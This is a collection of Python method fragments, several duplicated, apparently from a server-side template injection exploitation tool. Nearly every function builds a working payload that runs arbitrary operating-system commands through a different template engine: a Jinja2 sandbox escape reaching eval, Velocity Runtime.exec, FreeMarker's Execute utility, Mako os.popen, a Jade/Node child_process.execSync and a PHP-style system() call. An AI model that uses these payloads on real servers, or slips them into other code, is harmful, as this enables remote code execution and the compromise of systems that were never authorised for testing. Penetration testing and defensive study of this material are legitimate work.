def evaluate(self, code):
return self.inject("""{%% set d = "%s" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%}
{%% for b in c.__init__.func_globals.values() %%} {%% if b.__class__ == {}.__class__ %%}
{%% if 'eval' in b.keys() %%}
{{ b['eval'](d) }}
{%% endif %%} {%% endif %%} {%% endfor %%}
{%% endif %%} {%% endfor %%}""" % (quote(code)))
def evaluate(self, code):
return self.inject("""{%% set d = "%s" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%}
{%% for b in c.__init__.func_globals.values() %%} {%% if b.__class__ == {}.__class__ %%}
{%% if 'eval' in b.keys() %%}
{{ b['eval'](d) }}
{%% endif %%} {%% endif %%} {%% endfor %%}
{%% endif %%} {%% endfor %%}""" % (quote(code)))
def execute(self, command):
# I've tested the techniques described in this article
# http://blog.portswigger.net/2015/08/server-side-template-injection.html
# for it didn't work. Still keeping the check active to cover previous
# affected versions.
return self.inject("""#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("%s"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end""" % (quote(command)))
def execute(self, command):
# I've tested the techniques described in this article
# http://blog.portswigger.net/2015/08/server-side-template-injection.html
# for it didn't work. Still keeping the check active to cover previous
# affected versions.
return self.inject("""#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("%s"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end""" % (quote(command)))
def execute(self, command):
execution_code = '__import__("os").popen("%s").read()' % quote(command)
return self.evaluate(execution_code)
def execute(self, command):
return self.inject("""<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("%s") }""" % (quote(command)))
def execute(self, command):
return self.inject(
"""<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("%s") }"""
% (quote(command)))
def execute(self, command):
execution_code = '__import__("os").popen("%s").read()' % quote(command)
return self.evaluate(execution_code)
def execute(self, code, prefix = None, suffix = None, blind = False):
# Quote code before submitting it
return super(Jade, self).execute(quote(code), prefix, suffix, blind)
def execute(self, command):
execution_code = """= global.process.mainModule.require('child_process').execSync("%s")""" % quote(command)
return self.inject(execution_code)
def execute(self, command):
return self.inject("""<%% import os; x=os.popen("%s").read() %%>${x}""" % (quote(command)))
def execute(self, command):
return self.evaluate("""system("%s");""" % (quote(command)))
def execute(self, command):
execution_code = """= global.process.mainModule.require('child_process').execSync("%s")""" % quote(
command)
return self.inject(execution_code)
def execute(self, command):
return self.evaluate("""system("%s");""" % (quote(command)))
def evaluate(self, code, prefix = None, suffix = None, blind = False):
# Quote code before submitting it
return super(Jinja2, self).evaluate(quote(code), prefix, suffix, blind)
